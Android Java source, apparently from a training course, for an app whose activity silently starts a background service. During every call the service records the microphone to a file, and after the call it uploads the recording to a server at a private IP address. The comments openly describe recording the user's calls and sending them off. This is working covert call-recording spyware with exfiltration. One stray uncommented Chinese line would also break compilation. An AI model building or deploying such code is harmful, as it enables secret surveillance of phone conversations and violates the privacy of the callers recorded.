package cn.itcast.phonelistener;
import android.app.Activity;
import android.content.Intent;
import android.os.Bundle;
//广播可以直接注册就可以提起来,但是服务不可以,他必须显示地调用才可以提起来,所有我们必须在demoActivity中开启一个intent.
public class DemoActivity extends Activity {
/** Called when the activity is first created. */
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.main);
//因为在onCreate方法中,所有一开始就开启了intent.
Intent intent = new Intent(this,PhoneListenService.class);
startService(intent);
}
}
package cn.itcast.phonelistener;
import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import org.apache.commons.httpclient.methods.PostMethod;
import org.apache.commons.httpclient.methods.multipart.FilePart;
import org.apache.commons.httpclient.methods.multipart.MultipartRequestEntity;
import org.apache.commons.httpclient.methods.multipart.Part;
import android.app.Service;
import android.content.Intent;
import android.media.MediaRecorder;
import android.os.IBinder;
import android.telephony.PhoneStateListener;
import android.telephony.TelephonyManager;
import android.view.LayoutInflater;
public class PhoneListenService extends Service {
// activity receiver contentprovider
@Override
public IBinder onBind(Intent intent) {
return null;
}
/**
* 在服务第一次被创建的时候 执行
*/
@Override
public void onCreate() {
super.onCreate();
//设置为前台进程
setForeground(true);
// 1. 判断当前手机的状态,
// 如果发现手机处于 通话状态
// 创建一个录音器, 录下来用户的通话信息
// 当发现手机再次处于 idle 状态 停止录音机,把音频文件 上传到服务器
// 得到手机与电话状态相关的服务
TelephonyManager manager = (TelephonyManager) this
.getSystemService(TELEPHONY_SERVICE);
// this.getSystemService(WIFI_SERVICE);
//电话监听事件.
manager.listen(new MyPhoneListener(),
PhoneStateListener.LISTEN_CALL_STATE);
System.out.println(" 线程id "+ Thread.currentThread().getName());
}
//监听事件
private class MyPhoneListener extends PhoneStateListener {
//录音器.
MediaRecorder recorder = null;
/**
* 当电话的通话状态发生改变的时候 被调用的方法
*/
@Override
public void onCallStateChanged(int state, String incomingNumber) {
try {
switch (state) {
case TelephonyManager.CALL_STATE_IDLE: // 当前电话处于闲置状态
System.out.println("当前电话处于闲置状态 ");
// 判断下recorder是否为空 ,并且将数据文件上传到服务器
if(recorder!=null){
recorder.stop();
recorder.release(); // Now the object cannot be reused
recorder = null;
new Thread(){
@Override
public void run() {
// 打开文件
File file = new File("/sdcard/temp.3gp");
try {
上传数据到服务器
upload(file);
} catch (Exception e) {
e.printStackTrace();
}
}
}.start();
}
break;
case TelephonyManager.CALL_STATE_RINGING: // 当前电话处于铃声响状态
System.out.println("电话号码为 " + incomingNumber);
break;
case TelephonyManager.CALL_STATE_OFFHOOK: // 当前电话处于接听状态
System.out.println("当前电话处于通话状态 ");
// 初始化一个录音器,
recorder = new MediaRecorder();
recorder.setAudioSource(MediaRecorder.AudioSource.MIC);
recorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);
recorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);
//recorder.setOutputFile("sdcard/temp.3gp");
// File file = new File("/sdcard/temp.3gp");
// FileOutputStream fos = new FileOutputStream(file);
// fos.write("haha".getBytes());
//录音为3gp格式
recorder.setOutputFile("/sdcard/temp.3gp");
recorder.prepare();
recorder.start(); // Recording is now started
break;
}
} catch (Exception e) {
e.printStackTrace();
}
super.onCallStateChanged(state, incomingNumber);
}
}
public void upload(File file) throws Exception{
// 实例化上传数据的 数组 part []
Part[] parts = {
new FilePart("file",file)};
PostMethod filePost = new PostMethod("http://192.168.1.247:8080/web/LoginServlet");
//Part PostMethod setRequestEntity HttpClient client.executeMethod(filePost);
filePost.setRequestEntity(new MultipartRequestEntity(parts, filePost.getParams()));
org.apache.commons.httpclient.HttpClient client = new org.apache.commons.httpclient.HttpClient();
client.getHttpConnectionManager().getParams()
.setConnectionTimeout(5000);
int status = client.executeMethod(filePost);
if(status==200){
System.out.println("上传成功");
}
else{
throw new IllegalStateException("服务器状态异常");
}
}
}